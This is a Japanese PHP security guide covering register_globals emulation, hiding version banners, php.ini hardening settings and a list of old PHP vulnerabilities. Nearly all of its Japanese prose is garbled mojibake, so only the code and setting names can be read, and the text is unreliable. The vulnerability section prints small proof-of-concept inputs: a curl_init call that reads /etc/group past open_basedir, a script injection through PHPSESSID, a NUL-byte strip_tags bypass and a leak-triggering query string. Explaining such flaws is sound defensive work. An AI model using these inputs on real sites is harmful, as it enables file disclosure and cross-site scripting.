PHP Manual: Miscellaneous Questions: How do I deal with register_globals? �ǰʲ��Τ褦�� register_globals = off �򥨥ߥ�졼�Ȥ�������㤬����ޤ���

<?php
// Emulate register_globals off
function unregister_GLOBALS()
{
   if (!ini_get('register_globals')) {
       return;
   }

   // Might want to change this perhaps to a nicer error
   if (isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) {
       die('GLOBALS overwrite attempt detected');
   }

   // Variables that shouldn't be unset
   $noUnset = array('GLOBALS',  '_GET',
                     '_POST',    '_COOKIE',
                     '_REQUEST', '_SERVER',
                     '_ENV',    '_FILES');

   $input = array_merge($_GET,    $_POST,
                         $_COOKIE, $_SERVER,
                         $_ENV,    $_FILES,
                         isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array());
  
   foreach ($input as $k => $v) {
       if (!in_array($k, $noUnset) && isset($GLOBALS[$k])) {
           unset($GLOBALS[$k]);
       }
   }
}

unregister_GLOBALS();

?> 

PHP �θŤ�������ץȤǤ� register_globals = On �Ǥ��뤳�Ȥ�����ȤʤäƤ����Τ⤢�ꡢ�ߴ����ؤ���θ���� php.ini �� .htaccess �ʤɤ� register_globals = On �����ꤵ��Ƥ��뤳�Ȥ�����ޤ���������ѹ����� Off �ˤǤ�����ɤ��ΤǤ���������ե�������ѹ�����褦�ʸ��¤��ʤ����ޤ��ϻ���ˤ�ꡢ�ѹ��Ǥ��ʤ���硢�嵭�Υ�����ץȤ� register_globals �� Off �ˤʤäƤ���Τ�Ʊ�ͤξ��֤ˤ��뤳�Ȥ��Ǥ��ޤ���

�Ϥκǽ�� | �ܼ���

c. $GLOBALS �ѿ��˴ؤ��륻�����ƥ�����

PHP 4.4.0 ������ PHP 5.0.5 �����ΥС������� register_globals = On �ˤ��Ƥ���ȡ�$GLOBALS �ѿ����񤭤����Ȥ����������ƥ����꤬��𤵤�Ƥ��ޤ����ޤ���import_request_variables() �ؿ���extract() �ؿ���parse_str() �ؿ���foreach �ʤɤǤ� $GLOBALS �ѿ��ξ�񤭤β�ǽ��������ޤ��Τǡ����դ��Ƥ����������äˡ�register_globals = On �ξ��֤� PEAR ����Ѥ��Ƥ����硢Ǥ�դ� PHP �����ɤ�¹Ԥ��뤳�Ȥ���ǽ�Ǥ������ξ��ϴ����Ǥ��Τǡ�PHP 4.4.1 �ʾ塢PHP 5.1.0 �˥С�����󥢥åפ��뤫���������ƥ�����ν��� Patch ��Ŭ�Ѥ��Ƥ���������

PHP�θ��ԥ�꡼���˽�����ȼ�����PHP4.4.0�ʲ���PHP5.0.5�ʲ��� - �ޤȤ�(yohgaki's blog) �Ǥ�������ˤĤ��Ƥ��ʤ�ܤ����ޤȤ���Ƥ��ޤ���

�Ϥκǽ�� | �ܼ���

�� �ܼ���


PHP ����Ѥ��Ƥ��뤳�Ȥ��ä���

  1. PHP ���ä���ɬ����
  2. PHP ������
  3. Apache ������
  4. ���ͥ�����

a. PHP ���ä���ɬ����

PHP ����Ѥ��Ƥ��뤳�Ȥ�С������򱣤����Ȥ��Ƥ⡢�������ƥ��к��ˤʤ�Ȥϸ����ޤ��󤬡�Web �����ФΥС�������ޤޤ�Ƥ���⥸�塼��򸫤ƹ����Ԥ��褦�ʥ�ब�и��������Ȥ⤢��ޤ��Τǡ���ɬ�פʾ�����󶡤��ʤ������ɤ��Ȼפ��ޤ���

Web �����ФȤ��� Apache ����Ѥ��Ƥ����������ȡ�PHP ����Ѥ��Ƥ��뤳�Ȥ��ä���������ˡ��󤲤Ƥ����ޤ���

�Ϥκǽ�� | �ܼ���

b. PHP ������

PHP ���̾HTTP �Υ쥹�ݥ󥹥إå��˰ʲ��Τ褦�ʹԤ���Ϥ��ޤ���

X-Powered-By: PHP/4.3.9

�������Ϥ��ʤ��褦�����ꤹ��ˤϡ�php.ini �ǰʲ��������Ԥ��ޤ���

expose_php = Off

�ޤ��������˸������Ƥ��륵���Фǡ�PHP �Υ��顼��ɽ������ȡ�PHP ����Ѥ��Ƥ��뤳�Ȥ�ʬ���äƤ��ޤä��ꡢ�ǥ��쥯�ȥ깽���� SQL �ǻ��Ѥ��Ƥ���ǡ����١���̾��ơ��֥�̾�ʤɡ����פʾ���ϳ��뤳�Ȥ�����ޤ��Τǡ��ʲ��Τ褦�����ꤷ�Ƥ������ɤ��Ȼפ��ޤ���

display_errors = Off

���Ѥǻ��Ѥ��Ƥ��륵���ФǤϡ������򸫤ơ����顼��ȯ�����Ƥ��ʤ������ǧ���Ƥ���������

PHP �ޥ˥奢�� : PHP�α����Υڡ����ˤϡ�PHP ��ư������ĥ�Ҥ��ѹ�������ˡ���󤲤��Ƥ��ޤ��������ޤǤ���ɬ�פ����뤫�ɤ�����ʬ����ޤ��󤬡�ɬ�פʾ������ꤷ�Ƥ���������

�Ϥκǽ�� | �ܼ���

c. Apache ������

Apache �� PHP ���Ȥ߹������硢HTTP �Υ쥹�ݥ󥹥إå��� PHP ���Ȥ߹��ޤ�Ƥ��뤳�Ȥ�������ޤ���

Server: Apache/1.3.31 (Unix) PHP/4.3.9

����򱣤��ˤϡ�httpd.conf �˰ʲ���������ɲä��ޤ����ܤ����ϡ�Apache Core Features : ServerTokens �ǥ��쥯�ƥ��� �򻲾Ȥ��Ƥ���������

ServerTokens Prod

�ʲ��Τ褦�ˤʤ�ޤ��Τǡ�PHP ���Ȥ߹��ޤ�Ƥ��뤳�Ȥ�ʬ����ʤ��ʤ�ޤ���

Server: Apache

�ޤ���http.conf �� ErrorDocument �Dz������ꤷ�Ƥ��ʤ���硢Apache �Υ��顼�ڡ����ǥС���������ɽ������ޤ��Τǡ��ʲ��������ԤäƤ������ɤ��Ȼפ��ޤ���

ServerSignature Off

�Ϥκǽ�� | �ܼ���

d. ���ͥ�����

�Ϥκǽ�� | �ܼ���

�� �ܼ���


�������ƥ�����θ���� php.ini ������

  1. php.ini ������
  2. ���ͥ��

a. php.ini ������

php.ini ������ǥ������ƥ�����˴ط�����Ȼפ������������������Ƥߤޤ������ǥե�����ͤ� PHP �ޥ˥奢��: php.ini �ǥ��쥯�ƥ����򻲹ͤˤ��Ƥ��ޤ���

php.ini ������
����̾ �ǥե������ �侩����(��) ����
register_globals Off Off �ü���ѿ�(GET/POST/Cookie/�������ѿ�/�Ķ��ѿ��ʤ�)�򥰥����Х��ѿ�����Ͽ���ޤ��� ����ޤǤ�¿���Υ������ƥ������ȯ�������Ƥ�����ǽ�Ǥ���;������ͳ���ʤ��¤�� On �ˤ��٤��ǤϤ���ޤ���
magic_quotes_gpc On Off GET/POST/Cookie �� ��\�ס�"�ס�'�ס�\0�פ�ưŪ�˥���������(addslashes() �ؿ���Ŭ��)���ޤ��� �����ʵ�ǽ�Τ褦�˻פ��뤫�⤷��ޤ��󤬡������̵���ˤ������������Ǥ��� ���ε�ǽ�ˤ�ä� SQL ���󥸥��������� NULL �Х��ȹ���ʤɤΥ������ƥ���������Ǥ��뤳�Ȥ⤢��ޤ�����Shift_JIS �ʤɤ�ʸ�������ɤ� ������ʸ���˥Хå�����å��夬�դ��ʤɡ��Զ�礬�����뤳�Ȥ�¿���ʤ�ޤ��� ���ε�ǽ����餺���ѿ����ѻ���Ŭ�ڤʥ��������פ�ԤäƤ���������
default_chaset "" "UTF-8" header() �ؿ��ʤɤ�����Ū��ʸ�������ɤ���ꤷ�ʤ��¤ꡢHTTP �����إå��� default_chaset �� ���ꤷ���ͤ����Ѥ���ޤ��������ͤ����ꤵ��Ƥ��ʤ���硢�֥饦����ʸ�������ɤ�ưǧ������ΤǤ�����UTF-7 �ȸ�Ƚ�ꤵ���뤳�Ȥˤ�ä� �����������ȥ�����ץƥ��󥰤�ȯ�������뤳�Ȥ��Ǥ����Ȥ�������⤢��ޤ����Τǡ�Ŭ�ڤ��ͤ����ꤷ�����������Ǥ��� ����:ʸ�������ɤ� UTF-7 ����Ѥ��������������ȥ�����ץƥ�����
expose_php On Off PHP ����Ѥ��Ƥ��뤳�Ȥ��Τ餻�뵡ǽ�Ǥ���HTTP �쥹�ݥ󥹥إå��� X-Powered-By: PHP/(version) ��ɽ������ޤ��� �ޤ���Off �ˤ���ȡ�phpinfo() �� PHP �Υ�����ɽ������ʤ��ʤ�ޤ���
error_reporting NULL E_ALL ���顼����٥�Ǥ���ini_set() �Ǥ��ѹ��Ǥ��ޤ���
display_errors On Off(On) ���顼��ȯ���������˥֥饦����ɽ�����ޤ�����ȯ���� On �������ɤ��Ȼפ��ޤ����������˸�������ݤ� Off �ˤ��٤��Ǥ���
log_errors NULL On ���顼������Ͽ���뤫�ɤ��������ꤷ�ޤ���error_log �˻��ꤷ���ե�����˽��Ϥ���ޤ��� error_log ��̤����(NULL)�ξ��ϡ�Apache �Υ��顼�����˵�Ͽ����ޤ���
open_basedir NULL "/path/to/path" PHP �ˤ�äƳ������Ȥ��Ǥ���ե����������Υǥ��쥯�ȥ�����¤��ޤ��������ǽ�Ǥ�������ꤷ�Ƥ��������������Ǥ���
disable_functions "" phpinfo,eval ����δؿ���̵���ˤ��ޤ�(����޶��ڤ�)��ɬ�פ˱����ơ����ꤷ�Ƥ���������
enable_dl On Off PHP ��ưŪ�⥸�塼���ĥ��ǽ(dl() �ؿ�)��ͭ���ˤ��ޤ��� ��ĥ�⥸�塼���ưŪ���ɤ߹���ɬ�פ��ʤ����� Off �ˤ��Ƥ��������������Ǥ���
file_uploads On Off(On) �ե����륢�åץ����ɤ���Ĥ��ޤ����ե����륢�åץ����ɤ�Ԥ�ʤ���硢Off �ˤ��Ƥ����Ȱ����Ǥ���
upload_max_filesize "2M" "2M" �ե����륢�åץ����ɤǼ�����������ե����륵�����Ǥ��� �ե����륢�åץ����ɤ�ͭ���ˤ������ɬ�פ˱��������¤򤷤Ƥ������ɤ��Ȼפ��ޤ���
allow_url_fopen On Off �ե�����򳫤��ؿ�(fopen(), file(), include(), ...) �� http://... �ʤɤ� URI �Ǥ�ե������Ʊ�ͤ˳�����褦�ˤʤ�ޤ��������Υ����Ф���ե�������������ɬ�פ��ʤ���� Off �� ���Ƥ����������ɤ��Ȼפ��ޤ���
allow_url_include Off Off PHP 5.2.0 ��Ƴ�����줿����Ǥ��������� PHP ������ץȤ����Ѥ���Ȥ������Ȥ��̾�ɬ�פ���ޤ���Τǡ�Off �ˤ��Ƥ����٤��Ǥ��� On �ˤ���ȡ�include(), include_once(), require(), require_once() �� URL �б� �� fopen ��åѡ������ѤǤ���褦�ˤʤ�ޤ������ε�ǽ�� allow_url_fopen �� On �ˤʤäƤ��ʤ��Ȼ��ѤǤ��ޤ��� PHP 5.2.1 ����ϡ�data: ��������� php: ��������⤳��������оݤˤʤ�ޤ�����
session.save_path "" "/path/to/path/" ���å�������¸������ꤷ�ޤ���/tmp �Τ褦�ˡ�¾�Υ桼������ե�����ΰ�����������褦�ʾ��� ���ꤹ�٤��ǤϤ���ޤ���¾�Υ桼�����ɤ߹��ߤǤ��ʤ��褦�ˤ��Υǥ��쥯�ȥ�θ��������ԤäƤ��顢���� Path ����ꤷ�Ƥ���������
session.use_cookies 1 1 ���å���� ID �μ����Ϥ��� Cookie ����Ѥ��ޤ���
session.use_only_cookies 0 1 PHP 4.3.0 �ʹߤǻ��Ѳ�ǽ�Ǥ������å����ν����� Cookie �ΤߤǹԤ��ޤ�����ͳ���ʤ���� 1 �� ���Ƥ���������
session.auto_start Off Off ���å�����ưŪ�˳��Ϥ��ޤ�����ưŪ�˳��Ϥ�����åȤϤ��ޤꤢ��ޤ���Τ� Off �Τޤޤ��ɤ��Ȼפ��ޤ���
session.cookie_lifetime 0 0 ���å���� Cookie ����¸���֤����ꤷ�ޤ���0 ����ꤹ��ȡ��֥饦�����Ĥ���ޤǤ�ͭ�����֤ˤʤ�ޤ��� ���Τޤޤ�����ʤ��Ȼפ��ޤ���
session.cookie_path "/" "/path/to/path" ���å���� Cookie ��ȯ�Ԥ���ǥ��쥯�ȥ����ꤷ�ޤ��� ����Υǥ��쥯�ȥ�Ǥ������å�������Ѥ��ʤ��������ꤷ�Ƥ���������
session.gc_maxlifetime 1440 1440 ���å�������¸���֤���ñ�̤����ꤷ�ޤ���ɬ�פ˱��������ꤷ�Ƥ������������ޤ�Ĺ�����֤����ꤷ�ʤ��Ǥ���������
session.use_trans_sid 0 0 Ʃ��Ū�ʥ��å���� ID ���ղä�Ԥ����ɤ�������ꤷ�ޤ����ä���ͳ���ʤ���� 0 �ˤ��Ƥ��������������Ǥ���
session.entropy_file "" /dev/urandom ���å���� ID ����������ݤ˻��Ѥ��륨��ȥ��ԥ������ؤΥѥ�����ꤷ�ޤ������å���� ID ���������������ˤʤ�ޤ��Τǡ� ��ǽ�Ǥ�������ꤷ�Ƥ������ɤ��Ȼפ��ޤ���session.entropy_length �Ȱ������ꤷ�Ƥ���������
session.entropy_length 0 16 session.entropy_file �ǻ��ꤷ���ե����뤫���ɤ߹���Х��ȿ�����ꤷ�ޤ��� Ŭ���ʥ���������ꤷ�Ƥ������ɤ��Ȼפ��ޤ�����������0 �ξ���̵���ˤʤ�ޤ��Τ����դ��Ƥ���������
session.hash_function 0 1 PHP 5.0.0 ���ɲä��줿����Ǥ������å���� ID ����������ؿ������򤷤ޤ���0:MD5, 1:SHA-1 �Ǥ��� MD5 �Ͻ�ʬ�ʶ��٤�����Ȥϸ����ʤ������ˤʤäƤ��Ƥ��ޤ��Τǡ�1(SHA-1) ����Ѥ��������ɤ��Ȼפ��ޤ���

�����ե⡼�ɤ����ꤹ�뤳�Ȥ��ǽ�Ǥ���������Ū�ˤϺ�������ͽ��Ǥ��뤳�ȡ����Ԥ����ۤɸ���Ū�Ǥʤ����ե�������¸���θ�������ˤ�ꡢ�ե�����˽񤭹���ʤ��ʤɡ����꤬¿�����Ȥ��餳���Ǥ����������Ƥ��ޤ���

�Ϥκǽ�� | �ܼ���

b. ���ͥ��

�Ϥκǽ�� | �ܼ���

�� �ܼ���


PHP ����𤵤�Ƥ���Х����������ƥ�����

  1. ���ͥ�����
  2. PHP Trailing Slash "open_basedir" Security Bypass
  3. PHP Safedir Restriction Bypass Vulnerabilities
  4. Path Disclosure and PHP
  5. PHP 4.1.2 ���� PHP 4.3.9 �� PHP 5.0.1 �����˥���꡼���򵯤���
  6. PHP CURL "open_basedir" Security Bypass Vulnerability
  7. PHP memory_limit remote vulnerability
  8. PHP strip_tags() bypass vulnerability
  9. Cross-site Scripting in PHP's Transparent Session ID Support
  10. PHP 4.3.2 �� sprintf() �� printf() �˥Х�
  11. PHP 4.3.0 ���� PHP 4.3.2 �Υ����ե⡼�ɤ˥Х�
  12. PHP 4.3.0 �� CGI �Ǥ˥Х�

a. ���ͥ�����

�ʲ��Υڡ����ʤɤǡ��������ƥ����󤬤ޤȤ���Ƥ��ޤ���

�����ǤޤȤ᤿����ϸŤ���Τ�¿���Ǥ����Ƕᡢ�ɤΤ褦�ʥ������ƥ����꤬�������줿���ϡ�PHP �� ChangeLog �򻲾Ȥ��Ƥ���������

�Ϥκǽ�� | �ܼ���

b. PHP Trailing Slash "open_basedir" Security Bypass

PHP �ˤϡ�php.ini �� open_basedir �����ꤷ�� PHP ������ץȤ�ư�����ǥ��쥯�ȥ�����¤��뵡ǽ������ޤ������������¤���򤵤�Ƥ��ޤ���礬���뤳�Ȥ���𤵤�Ƥ��ޤ���

Secunia ����Ǥϡ�/home/user1/ �ǤΤ� PHP ��ư�����Ĥ��ǰʲ��Τ褦�����ꤷ�Ƥ�����硢

open_basedir = /home/user1/

/home/user11/, /home/user12/, ... �ʤɤ������� /home/user1 �Ȱ��פ���ѥ�̾��������ƤΥǥ��쥯�ȥ�� PHP ������ץȤ�ư��ޤ���/home/user2/ �ʤɡ�1ʸ���Ǥ�㤤�������������Ϥ���ޤ���

open_basedir ����Ѥ��� PHP ��ư����ɤ߹��ߥǥ��쥯�ȥ�����¤��Ƥ���������꤬�����ʤ�����ǧ���������ɤ����⤷��ޤ��󡣤�������� PHP 4.4.0 �� PHP 5.0.4 �Ǥ��ǧ����Ƥ��뤽���Ǥ���

PHP 4.4.1 �� PHP 5.1.0 �ǤϽ�������Ƥ��ޤ����ޤ���PHP 5.0.6 �ǽ��������ͽ��ˤʤäƤ��ޤ�����PHP 5.0.6 �ϸ�������뤫�ɤ�����ʬ����ޤ���

�Ϥκǽ�� | �ܼ���

c. PHP Safedir Restriction Bypass Vulnerabilities

GD �ΰ����δؿ�(imagegif(), imagepng(), imagejpeg()) �䡢curl_init() �ǡ�php.ini �ˤ��������ꤷ���ǥ��쥯�ȥ����¤���򤵤�Ƥ��ޤ����꤬��𤵤�Ƥ��ޤ���

PHP 4.4.1 �� PHP 5.1.0 �ǤϽ�������Ƥ��ޤ����ޤ���PHP 5.0.6 �ǽ��������ͽ��ˤʤäƤ��ޤ�����PHP 5.0.6 �ϸ�������뤫�ɤ�����ʬ����ޤ���

�Ϥκǽ�� | �ܼ���

d. Path Disclosure and PHP

Path Disclosure and PHP - iBlog - Ilia Alshanetsky �ˤ��ȡ����衢script.php?name=foo �Τ褦�������ѿ��μ���������Ԥ��Ƥ��륹����ץȤǡ�script.php?name[]=foo �Τ褦�ʷ��������ѿ���������ȡ�������ץȤˤ�äƤϥ��顼��ȯ�������ǥ��쥯�ȥ�ѥ���ɽ������Ƥ��ޤ��Ȥ������꤬���뤽���Ǥ���

��������� PHP �����ƤΥС������DZƶ�������ޤ��������餯��������Τ�̵�����Ȼפ��ޤ��Τǡ��ǥ��쥯�ȥ�ѥ���ɽ�������Ⱥ���褦�ʾ��ϡ��ʲ��Υ��顼��ɽ�����ʤ��褦�ˤ����к���ԤäƤ���������

�к��Ȥ��ơ��ʲ��Τ褦�˥��顼��֥饦����ɽ�����ʤ��褦�����ꤷ���̤ǥե�����˥�����Ͽ������ˡ�ȡ����������˥��㥹�Ȥ���Ѥ��Ʒ��������Ƥ��ޤ��Ȥ�����ˡ���󤲤��Ƥ��ޤ���

<?php

ini_set("display_errors", 0);
ini_set("log_errors", 1);
ini_set("error_log", "/path/to/php/errors");

?>

�Ϥκǽ�� | �ܼ���

e. PHP 4.1.2 ���� PHP 4.3.9 �� PHP 5.0.1 �����˥���꡼���򵯤���

GET, POST, COOKIE �Υѥ�᡼��̾��������ʸ����������ȡ�����꡼���򵯤����Ȥ�������Ǥ����ʲ��Τ褦�ˡ�"[" ���Ĥ��ʤ����˵�����褦�Ǥ�����������ϡ�PHP 4.1.2 ���� PHP 4.3.8 ������ PHP 5.0.1 �����dz�ǧ����Ƥ��ޤ���

http://example.com/filename.php?abc[a][=1

PHP 4.3.9 �� PHP 5.0.2 �ǽ�������Ƥ��ޤ���

�Ϥκǽ�� | �ܼ���

f. PHP CURL "open_basedir" Security Bypass Vulnerability

PHP 4.3.10 �����ΥС������ǡ���ĥ�⥸�塼��Ǥ��롢CURL ����Ѥ���ȡ�php.ini �� open_basedir �����ꤷ���������ƥ����¤���򤵤�Ƥ��ޤ��Ȥ������꤬��𤵤�Ƥ��ޤ�������������ϡ�CURL �⥸�塼��˴ޤޤ�� curl_init() �ʤɤδؿ��ϡ�open_basedir �����¤�����������������ˤ���Ǥ�դΥե�������ɤ߹��ߤ���ǽ�Ǥ���Ȥ������ȤǤ���

�ʲ��Τ褦�ˡ�file:// �� curl_init() �ΰ�����Ϳ���뤳�Ȥǡ���������ˤ���Ǥ�դΥե��������Ƥ�ɽ�������뤳�Ȥ���ǽ�Ǥ���

$ch = curl_init( "file:///etc/group" );
eco curl_exec( $ch );

��ʬ�����ϥ����å���Ԥ���curl_init() �ΰ������������ͤ�����ʤ��褦�ˤ��뤳�Ȥ�����β���ϲ�ǽ�Ǥ����ޤ���CURL �⥸�塼���̵���ˤ��뤳�ȤǤ⤳������ϲ����ǽ�Ǥ���

��������� PHP 4.3.11 �� PHP 5.0.4 �ʹߤǽ�������Ƥ��ޤ���

�Ϥκǽ�� | �ܼ���

g. PHP memory_limit remote vulnerability

PHP 4.3.7 �����ΥС������ǡ�PHP �Υ���ѥ��륪�ץ����� --enable-memory-limit ����ꤷ�Ƥ������˥�⡼�Ȥ���ι��⤬��ǽ�Ȥ�������Ǥ����⤷��--enable-memory-limit ����ꤷ�� PHP �򥳥�ѥ��뤷�Ƥ�����ϡ�PHP 4.3.8 �ʹߤ˥С�����󥢥åפ��뤳�Ȥ��侩����Ƥ��ޤ���

--enable-memory-limit �򳰤��� PHP �򥳥�ѥ��뤹�뤳�ȤǤ�������ϲ���Ǥ��ޤ��������ѥ���ξ�¤�̵�����֤ˤʤ�ޤ��Τǡ���������̤�¿�� PHP ������ץȤ�¿�����ϡ�������­�ˤʤ��ǽ���⤢��ޤ��Τ����դ��Ƥ���������

�Ϥκǽ�� | �ܼ���

h. PHP strip_tags() bypass vulnerability

PHP 4.3.7 ������ strip_tags() ����2�����ˡ����Ĥ��륿������ꤷ����硢\0 (NULL �Х���)��ޤ�뤳�Ȥǡ������ν�������Ǥ��Ƥ��ޤ��Ȥ�������Ǥ���

�㤨�С��ʲ��Τ褦�˼¹Ԥ��줿��硢�����Ͻ���줺�ˡ�\0 ���դ����ޤ޽��Ϥ���Ƥ��ޤ��ޤ���

echo strip_tags( "<\0script>alert()</\0script>", "<s>" );

strip_tags() ���� 2 �������ά���ơ����ĥ�������ꤷ�ʤ����ϡ�����ˤʤ�ʤ��褦�Ǥ���

�ǿ��Ǥ� Mozilla �� Opera �ʤɤǤϡ�<\0script> �Τ褦�ʥ����� script �����ȤϤߤʤ��줺��̵�뤵��ޤ�����Internet Explorer �ʤɤΥ֥饦���Ǥϡ�script �����Ȥ��ƽ������졢Javascript �ʤɤ��¹Ԥ���Ƥ��ޤ���ǽ��������ޤ���

strip_tags() �ϡ�PHP 4.3.2 ����Х��ʥꥻ���դ��ѹ�����Ƥ��ޤ���PHP 4.3.1 �����ΥС������ǡ�\0 ���ޤޤ줿ʸ������1���������Ϥ��줿��硢������ʸ����ü�Ȥ��Ƥߤʤ��졢strip_tags() �ν����� \0 ��������ʬ�ǽ���äƤ��ޤ��Ȥ������꤬����ޤ���

���������ľ�ܤδ�����������櫓�ǤϤ���ޤ��󤬡�ͽ�۳��η�̤ˤʤ뤳�Ȥ�����ޤ��Τǡ�����Ĥ��Ƥ����������ɤ��Ȼפ��ޤ��������������򤹤뤿��ˤϡ��桼����������ϥ����å����ˡ�\0 �������������Ԥ�������פǤ���

�Ϥκǽ�� | �ܼ���

i. Cross-site Scripting in PHP's Transparent Session ID Support

PHP 4.3.1 �ʲ��ΥС������ǡ�session.use_trans_sid ��ͭ���ˤ��Ƥ����硢�ʲ��Τ褦�˥��å���� ID �˥�����ޤ��ȥ����������ȥ�����ץƥ��󥰤���ǽ�ˤʤäƤ��ޤ����꤬��𤵤�Ƥ��ޤ���

��������ϡ�PHP 4.3.2 �ǽ�������ޤ�����

http://www.example.com/index.php?PHPSESSID="><script>alert()</script>

�Ϥκǽ�� | �ܼ���

j. PHP 4.3.2 �� sprintf() �� printf() �˥Х�

PHP 4.3.2 �� sprintf() �� printf() �ؿ��ˤϡ�����������ͤ�����ȡ�NULL �Х��Ȥ�������ɲä���Ƥ��ޤ��Х�������ޤ���

�Ϥκǽ�� | �ܼ���

k. PHP 4.3.0 ���� PHP 4.3.2 �Υ����ե⡼�ɤ˥Х�

PHP 4.3.0 ���� PHP 4.3.2 �Υ����ե⡼�ɤ˥Х������ꡢ�����ե⡼�ɤ����꤬���򤵤�Ƥ��ޤ��Ȥ����Х�������ޤ����������ե⡼�ɤ���Ѥ����硢PHP 4.3.0 ���� PHP 4.3.2 �ϻ��Ѥ��ʤ��Ǥ���������

��������� PHP 4.3.3 �ʹߤǽ�������Ƥ��ޤ���PHP 4.2.x �����ΥС������Ǥϱƶ��Ϥ���ޤ���

�Ϥκǽ�� | �ܼ���

l. PHP 4.3.0 �� CGI �Ǥ˥Х�

PHP 4.3.0 �� CGI �Ǥˤϡ�Web �����Ф��ɤ߹��߲�ǽ�����ƤΥե�����ؤΥ�����������ǽ�ˤʤäƤ��ޤ��Ȥ����Х�������ޤ���

�Ϥκǽ�� | �ܼ���

�� �ܼ���


���ͥ�����

�� �ܼ���


��������

2011-02-27

2008-05-11

2007-02-18

2006-08-31

  • Session Fixation(���å�������)�������н���ˡ�˴ְ㤤������ޤ����Τǡ��������ޤ�������Ŧ���Ƥ������ä��⾲���󡢤ɤ��⤢�꤬�Ȥ��������ޤ�����

  • ����¾���٤���ʸ��ν�����Ԥ��ޤ�����

2006-06-20

  • �Ǻܥ����ɤΰ����˴ְ㤤������ޤ����Τǡ��������ޤ�������Ŧ���Ƥ������ä������ɤ��⤢�꤬�Ȥ��������ޤ�����

2006-05-07

  • ����Ū��ʸ��ν�����Ԥ��ޤ�������������ɽ�����С������ʤɤε��Ҥν����ȸ�����æ���ν�����Ԥ��ޤ�����

  • �ʲ��ι��ܤ��ɲä��ޤ�����

2006-01-04

2005-12-18

  • ��󥯤��ɲ�

  • ����ڤ�ν���

2005-11-25

2005-11-16

  • ����ڤ�ν�����

2005-08-16

2005-07-17

2005-07-10

  • ���ͥ�󥯤��ɲá�

2005-06-05

  • ���ͥ�󥯤��ɲá�

  • ������æ���ν����ʤɡ�

2005-05-05

2004-10-24

2004-10-17

2004-10-11

  • ���Ǻ�����������

�� �ܼ������

LastUpdate: 2011-02-27 | Counter: counter | ������ | HOME